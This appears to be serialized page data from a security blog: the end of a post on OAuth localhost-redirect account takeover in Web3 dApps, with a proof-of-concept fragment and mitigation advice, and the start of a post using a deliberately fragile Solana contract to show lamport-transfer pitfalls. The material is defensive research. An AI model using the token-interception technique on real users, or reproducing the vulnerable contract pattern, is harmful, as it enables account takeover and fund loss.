",{"type":21,"tag":153,"props":73219,"children":73220},{"style":198},[73221],{"type":26,"value":2367},{"type":21,"tag":153,"props":73223,"children":73224},{"style":671},[73225],{"type":26,"value":73226}," \"viewport\"",{"type":21,"tag":153,"props":73228,"children":73229},{"style":160},[73230],{"type":26,"value":73231},", content ",{"type":21,"tag":153,"props":73233,"children":73234},{"style":198},[73235],{"type":26,"value":2367},{"type":21,"tag":153,"props":73237,"children":73238},{"style":671},[73239],{"type":26,"value":73240}," \"width=device-width, initial-scale=1.0\"",{"type":21,"tag":153,"props":73242,"children":73243},{"style":160},[73244],{"type":26,"value":5909},{"type":21,"tag":153,"props":73246,"children":73247},{"class":155,"line":3509},[73248,73253,73257,73262],{"type":21,"tag":153,"props":73249,"children":73250},{"style":181},[73251],{"type":26,"value":73252},"                            title",{"type":21,"tag":153,"props":73254,"children":73255},{"style":160},[73256],{"type":26,"value":189},{"type":21,"tag":153,"props":73258,"children":73259},{"style":671},[73260],{"type":26,"value":73261},"\"OAuth Redirect\"",{"type":21,"tag":153,"props":73263,"children":73264},{"style":160},[73265],{"type":26,"value":5909},{"type":21,"tag":153,"props":73267,"children":73268},{"class":155,"line":3517},[73269],{"type":21,"tag":153,"props":73270,"children":73271},{"style":160},[73272],{"type":26,"value":73273},"                        }\n",{"type":21,"tag":153,"props":73275,"children":73276},{"class":155,"line":3526},[73277,73282],{"type":21,"tag":153,"props":73278,"children":73279},{"style":181},[73280],{"type":26,"value":73281},"                        body",{"type":21,"tag":153,"props":73283,"children":73284},{"style":160},[73285],{"type":26,"value":236},{"type":21,"tag":153,"props":73287,"children":73288},{"class":155,"line":3607},[73289,73294,73298,73302,73307],{"type":21,"tag":153,"props":73290,"children":73291},{"style":181},[73292],{"type":26,"value":73293},"                            h1",{"type":21,"tag":153,"props":73295,"children":73296},{"style":160},[73297],{"type":26,"value":12308},{"type":21,"tag":153,"props":73299,"children":73300},{"style":198},[73301],{"type":26,"value":4099},{"type":21,"tag":153,"props":73303,"children":73304},{"style":671},[73305],{"type":26,"value":73306},"\"Google OAuth Redirect\"",{"type":21,"tag":153,"props":73308,"children":73309},{"style":160},[73310],{"type":26,"value":12318},{"type":21,"tag":153,"props":73312,"children":73313},{"class":155,"line":3615},[73314,73319],{"type":21,"tag":153,"props":73315,"children":73316},{"style":181},[73317],{"type":26,"value":73318},"                            script",{"type":21,"tag":153,"props":73320,"children":73321},{"style":160},[73322],{"type":26,"value":236},{"type":21,"tag":153,"props":73324,"children":73325},{"class":155,"line":3629},[73326,73331],{"type":21,"tag":153,"props":73327,"children":73328},{"style":198},[73329],{"type":26,"value":73330},"                                +",{"type":21,"tag":153,"props":73332,"children":73333},{"style":671},[73334],{"type":26,"value":73335},"\"document.body.innerText = location.search;\"\n",{"type":21,"tag":153,"props":73337,"children":73338},{"class":155,"line":26297},[73339],{"type":21,"tag":153,"props":73340,"children":73341},{"style":160},[73342],{"type":26,"value":73343},"                            }\n",{"type":21,"tag":153,"props":73345,"children":73346},{"class":155,"line":26330},[73347],{"type":21,"tag":153,"props":73348,"children":73349},{"style":160},[73350],{"type":26,"value":73273},{"type":21,"tag":153,"props":73352,"children":73353},{"class":155,"line":26338},[73354],{"type":21,"tag":153,"props":73355,"children":73356},{"style":160},[73357],{"type":26,"value":73358},"                    }\n",{"type":21,"tag":153,"props":73360,"children":73361},{"class":155,"line":26346},[73362],{"type":21,"tag":153,"props":73363,"children":73364},{"style":160},[73365],{"type":26,"value":73366},"                }\n",{"type":21,"tag":153,"props":73368,"children":73369},{"class":155,"line":26355},[73370],{"type":21,"tag":153,"props":73371,"children":73372},{"style":160},[73373],{"type":26,"value":61177},{"type":21,"tag":153,"props":73375,"children":73376},{"class":155,"line":26431},[73377,73382,73387,73392,73396,73400],{"type":21,"tag":153,"props":73378,"children":73379},{"style":160},[73380],{"type":26,"value":73381},"        }.",{"type":21,"tag":153,"props":73383,"children":73384},{"style":181},[73385],{"type":26,"value":73386},"start",{"type":21,"tag":153,"props":73388,"children":73389},{"style":160},[73390],{"type":26,"value":73391},"(wait ",{"type":21,"tag":153,"props":73393,"children":73394},{"style":198},[73395],{"type":26,"value":2367},{"type":21,"tag":153,"props":73397,"children":73398},{"style":170},[73399],{"type":26,"value":15187},{"type":21,"tag":153,"props":73401,"children":73402},{"style":160},[73403],{"type":26,"value":5909},{"type":21,"tag":153,"props":73405,"children":73406},{"class":155,"line":26464},[73407],{"type":21,"tag":153,"props":73408,"children":73409},{"style":160},[73410],{"type":26,"value":539},{"type":21,"tag":153,"props":73412,"children":73413},{"class":155,"line":26472},[73414],{"type":21,"tag":153,"props":73415,"children":73416},{"style":160},[73417],{"type":26,"value":548},{"type":21,"tag":22,"props":73419,"children":73420},{},[73421],{"type":26,"value":73422},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":21,"tag":22,"props":73424,"children":73425},{},[73426],{"type":26,"value":73427},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":21,"tag":114,"props":73429,"children":73431},{"id":73430},"mitigation-1",[73432],{"type":26,"value":43028},{"type":21,"tag":22,"props":73434,"children":73435},{},[73436,73438,73443],{"type":26,"value":73437},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":21,"tag":78,"props":73439,"children":73441},{"className":73440},[],[73442],{"type":26,"value":72060},{"type":26,"value":73444}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":21,"tag":66,"props":73446,"children":73447},{"id":5568},[73448],{"type":26,"value":5571},{"type":21,"tag":22,"props":73450,"children":73451},{},[73452],{"type":26,"value":73453},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":21,"tag":22,"props":73455,"children":73456},{},[73457],{"type":26,"value":73458},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":21,"tag":5603,"props":73460,"children":73461},{},[73462],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":73464},[73465,73472,73477,73480],{"id":71828,"depth":166,"text":71831,"children":73466},[73467,73468,73469,73470,73471],{"id":71839,"depth":225,"text":71842},{"id":71866,"depth":225,"text":71869},{"id":71927,"depth":225,"text":71930},{"id":71984,"depth":225,"text":71987},{"id":72083,"depth":225,"text":72086},{"id":72129,"depth":166,"text":72132,"children":73473},[73474,73475,73476],{"id":72135,"depth":225,"text":72138},{"id":72162,"depth":225,"text":72165},{"id":43025,"depth":225,"text":43028},{"id":72611,"depth":166,"text":72614,"children":73478},[73479],{"id":73430,"depth":225,"text":43028},{"id":5568,"depth":166,"text":5571},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":73485,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":73486,"description":73487,"author":11,"image":73488,"date":73490,"isFeatured":16,"tags":73491,"onBlogPage":16,"body":73492,"_type":5619,"_id":78146,"_source":5621,"_file":78147,"_stem":78148,"_extension":5624},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":73489,"height":16340,"width":16340},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[5636],{"type":18,"children":73493,"toc":78135},[73494,73498,73503,73517,73523,73528,73558,73563,73568,74606,74611,74619,74624,74630,74636,74648,74681,74693,74706,74718,75163,75168,75214,75220,75225,75312,75317,75331,75344,76007,76012,76024,76030,76041,76053,76207,76221,76240,76261,76267,76272,76617,76622,76628,76647,76661,77283,77288,77308,77313,77318,77324,77336,77357,77532,77538,77543,77844,77865,77877,77889,77973,77993,78005,78011,78023,78029,78034,78057,78069,78075,78087,78092,78098,78103,78108,78126,78131],{"type":21,"tag":66,"props":73495,"children":73496},{"id":31710},[73497],{"type":26,"value":31713},{"type":21,"tag":22,"props":73499,"children":73500},{},[73501],{"type":26,"value":73502},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":21,"tag":22,"props":73504,"children":73505},{},[73506,73508,73515],{"type":26,"value":73507},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":21,"tag":29,"props":73509,"children":73512},{"href":73510,"rel":73511},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[33],[73513],{"type":26,"value":73514},"King of the Ether",{"type":26,"value":73516},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":21,"tag":66,"props":73518,"children":73520},{"id":73519},"the-game-king-of-the-sol",[73521],{"type":26,"value":73522},"The Game: King of the SOL",{"type":21,"tag":22,"props":73524,"children":73525},{},[73526],{"type":26,"value":73527},"The game works like this:",{"type":21,"tag":87,"props":73529,"children":73530},{},[73531,73543,73548,73553],{"type":21,"tag":91,"props":73532,"children":73533},{},[73534,73536,73541],{"type":26,"value":73535},"Anyone can become the ",{"type":21,"tag":8055,"props":73537,"children":73538},{},[73539],{"type":26,"value":73540},"king",{"type":26,"value":73542}," by bidding at least 2× the previous bid.",{"type":21,"tag":91,"props":73544,"children":73545},{},[73546],{"type":26,"value":73547},"The old king is reimbursed 95% of their bid.",{"type":21,"tag":91,"props":73549,"children":73550},{},[73551],{"type":26,"value":73552},"The remaining 5% goes into a prize pot.",{"type":21,"tag":91,"props":73554,"children":73555},{},[73556],{"type":26,"value":73557},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":21,"tag":22,"props":73559,"children":73560},{},[73561],{"type":26,"value":73562},"Simple, right?",{"type":21,"tag":22,"props":73564,"children":73565},{},[73566],{"type":26,"value":73567},"This is the core logic:",{"type":21,"tag":143,"props":73569,"children":73571},{"className":145,"code":73570,"language":147,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[73572],{"type":21,"tag":78,"props":73573,"children":73574},{"__ignoreMap":7},[73575,73590,73618,73633,73674,73681,73689,73740,73771,73778,73786,73801,73833,73840,73855,73886,73893,73900,73908,73925,73999,74007,74068,74080,74108,74148,74160,74176,74183,74191,74265,74277,74316,74344,74356,74371,74378,74386,74456,74500,74574,74581,74592,74599],{"type":21,"tag":153,"props":73576,"children":73577},{"class":155,"line":156},[73578,73582,73586],{"type":21,"tag":153,"props":73579,"children":73580},{"style":160},[73581],{"type":26,"value":25530},{"type":21,"tag":153,"props":73583,"children":73584},{"style":214},[73585],{"type":26,"value":25535},{"type":21,"tag":153,"props":73587,"children":73588},{"style":160},[73589],{"type":26,"value":22954},{"type":21,"tag":153,"props":73591,"children":73592},{"class":155,"line":166},[73593,73597,73601,73606,73610,73614],{"type":21,"tag":153,"props":73594,"children":73595},{"style":170},[73596],{"type":26,"value":173},{"type":21,"tag":153,"props":73598,"children":73599},{"style":170},[73600],{"type":26,"value":23844},{"type":21,"tag":153,"props":73602,"children":73603},{"style":214},[73604],{"type":26,"value":73605}," ChangeKing",{"type":21,"tag":153,"props":73607,"children":73608},{"style":160},[73609],{"type":26,"value":25615},{"type":21,"tag":153,"props":73611,"children":73612},{"style":214},[73613],{"type":26,"value":25620},{"type":21,"tag":153,"props":73615,"children":73616},{"style":160},[73617],{"type":26,"value":10009},{"type":21,"tag":153,"props":73619,"children":73620},{"class":155,"line":225},[73621,73625,73629],{"type":21,"tag":153,"props":73622,"children":73623},{"style":160},[73624],{"type":26,"value":25820},{"type":21,"tag":153,"props":73626,"children":73627},{"style":170},[73628],{"type":26,"value":318},{"type":21,"tag":153,"props":73630,"children":73631},{"style":160},[73632],{"type":26,"value":22954},{"type":21,"tag":153,"props":73634,"children":73635},{"class":155,"line":239},[73636,73640,73645,73649,73653,73657,73661,73665,73670],{"type":21,"tag":153,"props":73637,"children":73638},{"style":170},[73639],{"type":26,"value":23537},{"type":21,"tag":153,"props":73641,"children":73642},{"style":192},[73643],{"type":26,"value":73644}," throne",{"type":21,"tag":153,"props":73646,"children":73647},{"style":198},[73648],{"type":26,"value":201},{"type":21,"tag":153,"props":73650,"children":73651},{"style":214},[73652],{"type":26,"value":25785},{"type":21,"tag":153,"props":73654,"children":73655},{"style":160},[73656],{"type":26,"value":25615},{"type":21,"tag":153,"props":73658,"children":73659},{"style":214},[73660],{"type":26,"value":25620},{"type":21,"tag":153,"props":73662,"children":73663},{"style":160},[73664],{"type":26,"value":1670},{"type":21,"tag":153,"props":73666,"children":73667},{"style":214},[73668],{"type":26,"value":73669},"Throne",{"type":21,"tag":153,"props":73671,"children":73672},{"style":160},[73673],{"type":26,"value":8867},{"type":21,"tag":153,"props":73675,"children":73676},{"class":155,"line":382},[73677],{"type":21,"tag":153,"props":73678,"children":73679},{"emptyLinePlaceholder":16},[73680],{"type":26,"value":759},{"type":21,"tag":153,"props":73682,"children":73683},{"class":155,"line":501},[73684],{"type":21,"tag":153,"props":73685,"children":73686},{"style":3050},[73687],{"type":26,"value":73688},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":21,"tag":153,"props":73690,"children":73691},{"class":155,"line":533},[73692,73696,73700,73705,73709,73714,73718,73723,73727,73731,73735],{"type":21,"tag":153,"props":73693,"children":73694},{"style":160},[73695],{"type":26,"value":25820},{"type":21,"tag":153,"props":73697,"children":73698},{"style":170},[73699],{"type":26,"value":318},{"type":21,"tag":153,"props":73701,"children":73702},{"style":160},[73703],{"type":26,"value":73704},", constraint ",{"type":21,"tag":153,"props":73706,"children":73707},{"style":198},[73708],{"type":26,"value":2367},{"type":21,"tag":153,"props":73710,"children":73711},{"style":160},[73712],{"type":26,"value":73713}," old_king",{"type":21,"tag":153,"props":73715,"children":73716},{"style":198},[73717],{"type":26,"value":355},{"type":21,"tag":153,"props":73719,"children":73720},{"style":160},[73721],{"type":26,"value":73722},"key() ",{"type":21,"tag":153,"props":73724,"children":73725},{"style":198},[73726],{"type":26,"value":1694},{"type":21,"tag":153,"props":73728,"children":73729},{"style":160},[73730],{"type":26,"value":73644},{"type":21,"tag":153,"props":73732,"children":73733},{"style":198},[73734],{"type":26,"value":355},{"type":21,"tag":153,"props":73736,"children":73737},{"style":160},[73738],{"type":26,"value":73739},"king)]\n",{"type":21,"tag":153,"props":73741,"children":73742},{"class":155,"line":542},[73743,73747,73751,73755,73759,73763,73767],{"type":21,"tag":153,"props":73744,"children":73745},{"style":170},[73746],{"type":26,"value":23537},{"type":21,"tag":153,"props":73748,"children":73749},{"style":192},[73750],{"type":26,"value":73713},{"type":21,"tag":153,"props":73752,"children":73753},{"style":198},[73754],{"type":26,"value":201},{"type":21,"tag":153,"props":73756,"children":73757},{"style":214},[73758],{"type":26,"value":28095},{"type":21,"tag":153,"props":73760,"children":73761},{"style":160},[73762],{"type":26,"value":25615},{"type":21,"tag":153,"props":73764,"children":73765},{"style":214},[73766],{"type":26,"value":25620},{"type":21,"tag":153,"props":73768,"children":73769},{"style":160},[73770],{"type":26,"value":8867},{"type":21,"tag":153,"props":73772,"children":73773},{"class":155,"line":762},[73774],{"type":21,"tag":153,"props":73775,"children":73776},{"emptyLinePlaceholder":16},[73777],{"type":26,"value":759},{"type":21,"tag":153,"props":73779,"children":73780},{"class":155,"line":776},[73781],{"type":21,"tag":153,"props":73782,"children":73783},{"style":3050},[73784],{"type":26,"value":73785},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":21,"tag":153,"props":73787,"children":73788},{"class":155,"line":795},[73789,73793,73797],{"type":21,"tag":153,"props":73790,"children":73791},{"style":160},[73792],{"type":26,"value":25820},{"type":21,"tag":153,"props":73794,"children":73795},{"style":170},[73796],{"type":26,"value":318},{"type":21,"tag":153,"props":73798,"children":73799},{"style":160},[73800],{"type":26,"value":22954},{"type":21,"tag":153,"props":73802,"children":73803},{"class":155,"line":808},[73804,73808,73813,73817,73821,73825,73829],{"type":21,"tag":153,"props":73805,"children":73806},{"style":170},[73807],{"type":26,"value":23537},{"type":21,"tag":153,"props":73809,"children":73810},{"style":192},[73811],{"type":26,"value":73812}," new_king",{"type":21,"tag":153,"props":73814,"children":73815},{"style":198},[73816],{"type":26,"value":201},{"type":21,"tag":153,"props":73818,"children":73819},{"style":214},[73820],{"type":26,"value":28095},{"type":21,"tag":153,"props":73822,"children":73823},{"style":160},[73824],{"type":26,"value":25615},{"type":21,"tag":153,"props":73826,"children":73827},{"style":214},[73828],{"type":26,"value":25620},{"type":21,"tag":153,"props":73830,"children":73831},{"style":160},[73832],{"type":26,"value":8867},{"type":21,"tag":153,"props":73834,"children":73835},{"class":155,"line":820},[73836],{"type":21,"tag":153,"props":73837,"children":73838},{"emptyLinePlaceholder":16},[73839],{"type":26,"value":759},{"type":21,"tag":153,"props":73841,"children":73842},{"class":155,"line":842},[73843,73847,73851],{"type":21,"tag":153,"props":73844,"children":73845},{"style":160},[73846],{"type":26,"value":25820},{"type":21,"tag":153,"props":73848,"children":73849},{"style":170},[73850],{"type":26,"value":318},{"type":21,"tag":153,"props":73852,"children":73853},{"style":160},[73854],{"type":26,"value":22954},{"type":21,"tag":153,"props":73856,"children":73857},{"class":155,"line":3204},[73858,73862,73866,73870,73874,73878,73882],{"type":21,"tag":153,"props":73859,"children":73860},{"style":170},[73861],{"type":26,"value":23537},{"type":21,"tag":153,"props":73863,"children":73864},{"style":192},[73865],{"type":26,"value":1903},{"type":21,"tag":153,"props":73867,"children":73868},{"style":198},[73869],{"type":26,"value":201},{"type":21,"tag":153,"props":73871,"children":73872},{"style":214},[73873],{"type":26,"value":25849},{"type":21,"tag":153,"props":73875,"children":73876},{"style":160},[73877],{"type":26,"value":25615},{"type":21,"tag":153,"props":73879,"children":73880},{"style":214},[73881],{"type":26,"value":25620},{"type":21,"tag":153,"props":73883,"children":73884},{"style":160},[73885],{"type":26,"value":8867},{"type":21,"tag":153,"props":73887,"children":73888},{"class":155,"line":3230},[73889],{"type":21,"tag":153,"props":73890,"children":73891},{"style":160},[73892],{"type":26,"value":548},{"type":21,"tag":153,"props":73894,"children":73895},{"class":155,"line":3239},[73896],{"type":21,"tag":153,"props":73897,"children":73898},{"emptyLinePlaceholder":16},[73899],{"type":26,"value":759},{"type":21,"tag":153,"props":73901,"children":73902},{"class":155,"line":3253},[73903],{"type":21,"tag":153,"props":73904,"children":73905},{"style":160},[73906],{"type":26,"value":73907},"#[program]\n",{"type":21,"tag":153,"props":73909,"children":73910},{"class":155,"line":3301},[73911,73915,73920],{"type":21,"tag":153,"props":73912,"children":73913},{"style":170},[73914],{"type":26,"value":173},{"type":21,"tag":153,"props":73916,"children":73917},{"style":170},[73918],{"type":26,"value":73919}," mod",{"type":21,"tag":153,"props":73921,"children":73922},{"style":160},[73923],{"type":26,"value":73924}," king_of_the_sol {\n",{"type":21,"tag":153,"props":73926,"children":73927},{"class":155,"line":3346},[73928,73932,73936,73941,73945,73949,73953,73957,73961,73966,73970,73975,73979,73983,73987,73991,73995],{"type":21,"tag":153,"props":73929,"children":73930},{"style":170},[73931],{"type":26,"value":23537},{"type":21,"tag":153,"props":73933,"children":73934},{"style":170},[73935],{"type":26,"value":178},{"type":21,"tag":153,"props":73937,"children":73938},{"style":181},[73939],{"type":26,"value":73940}," change_king",{"type":21,"tag":153,"props":73942,"children":73943},{"style":160},[73944],{"type":26,"value":189},{"type":21,"tag":153,"props":73946,"children":73947},{"style":192},[73948],{"type":26,"value":1882},{"type":21,"tag":153,"props":73950,"children":73951},{"style":198},[73952],{"type":26,"value":201},{"type":21,"tag":153,"props":73954,"children":73955},{"style":214},[73956],{"type":26,"value":22983},{"type":21,"tag":153,"props":73958,"children":73959},{"style":160},[73960],{"type":26,"value":8537},{"type":21,"tag":153,"props":73962,"children":73963},{"style":214},[73964],{"type":26,"value":73965},"ChangeKing",{"type":21,"tag":153,"props":73967,"children":73968},{"style":160},[73969],{"type":26,"value":9360},{"type":21,"tag":153,"props":73971,"children":73972},{"style":192},[73973],{"type":26,"value":73974},"bid_amount",{"type":21,"tag":153,"props":73976,"children":73977},{"style":198},[73978],{"type":26,"value":201},{"type":21,"tag":153,"props":73980,"children":73981},{"style":214},[73982],{"type":26,"value":323},{"type":21,"tag":153,"props":73984,"children":73985},{"style":160},[73986],{"type":26,"value":2362},{"type":21,"tag":153,"props":73988,"children":73989},{"style":198},[73990],{"type":26,"value":2953},{"type":21,"tag":153,"props":73992,"children":73993},{"style":214},[73994],{"type":26,"value":16475},{"type":21,"tag":153,"props":73996,"children":73997},{"style":160},[73998],{"type":26,"value":23025},{"type":21,"tag":153,"props":74000,"children":74001},{"class":155,"line":3355},[74002],{"type":21,"tag":153,"props":74003,"children":74004},{"style":3050},[74005],{"type":26,"value":74006},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":21,"tag":153,"props":74008,"children":74009},{"class":155,"line":3364},[74010,74014,74018,74022,74026,74030,74034,74038,74042,74047,74051,74056,74060,74064],{"type":21,"tag":153,"props":74011,"children":74012},{"style":181},[74013],{"type":26,"value":66741},{"type":21,"tag":153,"props":74015,"children":74016},{"style":160},[74017],{"type":26,"value":189},{"type":21,"tag":153,"props":74019,"children":74020},{"style":192},[74021],{"type":26,"value":73974},{"type":21,"tag":153,"props":74023,"children":74024},{"style":198},[74025],{"type":26,"value":11028},{"type":21,"tag":153,"props":74027,"children":74028},{"style":192},[74029],{"type":26,"value":28540},{"type":21,"tag":153,"props":74031,"children":74032},{"style":198},[74033],{"type":26,"value":355},{"type":21,"tag":153,"props":74035,"children":74036},{"style":160},[74037],{"type":26,"value":2987},{"type":21,"tag":153,"props":74039,"children":74040},{"style":198},[74041],{"type":26,"value":355},{"type":21,"tag":153,"props":74043,"children":74044},{"style":160},[74045],{"type":26,"value":74046},"throne",{"type":21,"tag":153,"props":74048,"children":74049},{"style":198},[74050],{"type":26,"value":355},{"type":21,"tag":153,"props":74052,"children":74053},{"style":160},[74054],{"type":26,"value":74055},"last_bid_amount ",{"type":21,"tag":153,"props":74057,"children":74058},{"style":198},[74059],{"type":26,"value":313},{"type":21,"tag":153,"props":74061,"children":74062},{"style":300},[74063],{"type":26,"value":10661},{"type":21,"tag":153,"props":74065,"children":74066},{"style":160},[74067],{"type":26,"value":530},{"type":21,"tag":153,"props":74069,"children":74070},{"class":155,"line":3376},[74071,74076],{"type":21,"tag":153,"props":74072,"children":74073},{"style":181},[74074],{"type":26,"value":74075},"        transfer_from_signer",{"type":21,"tag":153,"props":74077,"children":74078},{"style":160},[74079],{"type":26,"value":773},{"type":21,"tag":153,"props":74081,"children":74082},{"class":155,"line":3393},[74083,74087,74091,74095,74099,74103],{"type":21,"tag":153,"props":74084,"children":74085},{"style":198},[74086],{"type":26,"value":10411},{"type":21,"tag":153,"props":74088,"children":74089},{"style":192},[74090],{"type":26,"value":1882},{"type":21,"tag":153,"props":74092,"children":74093},{"style":198},[74094],{"type":26,"value":355},{"type":21,"tag":153,"props":74096,"children":74097},{"style":160},[74098],{"type":26,"value":2987},{"type":21,"tag":153,"props":74100,"children":74101},{"style":198},[74102],{"type":26,"value":355},{"type":21,"tag":153,"props":74104,"children":74105},{"style":160},[74106],{"type":26,"value":74107},"payer,\n",{"type":21,"tag":153,"props":74109,"children":74110},{"class":155,"line":3405},[74111,74115,74119,74123,74127,74131,74135,74139,74144],{"type":21,"tag":153,"props":74112,"children":74113},{"style":198},[74114],{"type":26,"value":10411},{"type":21,"tag":153,"props":74116,"children":74117},{"style":192},[74118],{"type":26,"value":1882},{"type":21,"tag":153,"props":74120,"children":74121},{"style":198},[74122],{"type":26,"value":355},{"type":21,"tag":153,"props":74124,"children":74125},{"style":160},[74126],{"type":26,"value":2987},{"type":21,"tag":153,"props":74128,"children":74129},{"style":198},[74130],{"type":26,"value":355},{"type":21,"tag":153,"props":74132,"children":74133},{"style":160},[74134],{"type":26,"value":74046},{"type":21,"tag":153,"props":74136,"children":74137},{"style":198},[74138],{"type":26,"value":355},{"type":21,"tag":153,"props":74140,"children":74141},{"style":181},[74142],{"type":26,"value":74143},"to_account_info",{"type":21,"tag":153,"props":74145,"children":74146},{"style":160},[74147],{"type":26,"value":721},{"type":21,"tag":153,"props":74149,"children":74150},{"class":155,"line":3427},[74151,74156],{"type":21,"tag":153,"props":74152,"children":74153},{"style":192},[74154],{"type":26,"value":74155},"            bid_amount",{"type":21,"tag":153,"props":74157,"children":74158},{"style":160},[74159],{"type":26,"value":792},{"type":21,"tag":153,"props":74161,"children":74162},{"class":155,"line":3448},[74163,74168,74172],{"type":21,"tag":153,"props":74164,"children":74165},{"style":160},[74166],{"type":26,"value":74167},"        )",{"type":21,"tag":153,"props":74169,"children":74170},{"style":198},[74171],{"type":26,"value":2022},{"type":21,"tag":153,"props":74173,"children":74174},{"style":160},[74175],{"type":26,"value":1759},{"type":21,"tag":153,"props":74177,"children":74178},{"class":155,"line":3456},[74179],{"type":21,"tag":153,"props":74180,"children":74181},{"emptyLinePlaceholder":16},[74182],{"type":26,"value":759},{"type":21,"tag":153,"props":74184,"children":74185},{"class":155,"line":3493},[74186],{"type":21,"tag":153,"props":74187,"children":74188},{"style":3050},[74189],{"type":26,"value":74190},"        // Reimburse 95% of the last bid to the old king\n",{"type":21,"tag":153,"props":74192,"children":74193},{"class":155,"line":3509},[74194,74198,74203,74207,74211,74215,74219,74223,74227,74231,74235,74239,74243,74248,74252,74256,74261],{"type":21,"tag":153,"props":74195,"children":74196},{"style":170},[74197],{"type":26,"value":245},{"type":21,"tag":153,"props":74199,"children":74200},{"style":192},[74201],{"type":26,"value":74202}," to_reimburse",{"type":21,"tag":153,"props":74204,"children":74205},{"style":198},[74206],{"type":26,"value":255},{"type":21,"tag":153,"props":74208,"children":74209},{"style":160},[74210],{"type":26,"value":5820},{"type":21,"tag":153,"props":74212,"children":74213},{"style":192},[74214],{"type":26,"value":1882},{"type":21,"tag":153,"props":74216,"children":74217},{"style":198},[74218],{"type":26,"value":355},{"type":21,"tag":153,"props":74220,"children":74221},{"style":160},[74222],{"type":26,"value":2987},{"type":21,"tag":153,"props":74224,"children":74225},{"style":198},[74226],{"type":26,"value":355},{"type":21,"tag":153,"props":74228,"children":74229},{"style":160},[74230],{"type":26,"value":74046},{"type":21,"tag":153,"props":74232,"children":74233},{"style":198},[74234],{"type":26,"value":355},{"type":21,"tag":153,"props":74236,"children":74237},{"style":160},[74238],{"type":26,"value":74055},{"type":21,"tag":153,"props":74240,"children":74241},{"style":198},[74242],{"type":26,"value":313},{"type":21,"tag":153,"props":74244,"children":74245},{"style":300},[74246],{"type":26,"value":74247}," 9500",{"type":21,"tag":153,"props":74249,"children":74250},{"style":160},[74251],{"type":26,"value":2362},{"type":21,"tag":153,"props":74253,"children":74254},{"style":198},[74255],{"type":26,"value":7310},{"type":21,"tag":153,"props":74257,"children":74258},{"style":300},[74259],{"type":26,"value":74260}," 10000",{"type":21,"tag":153,"props":74262,"children":74263},{"style":160},[74264],{"type":26,"value":1759},{"type":21,"tag":153,"props":74266,"children":74267},{"class":155,"line":3517},[74268,74273],{"type":21,"tag":153,"props":74269,"children":74270},{"style":181},[74271],{"type":26,"value":74272},"        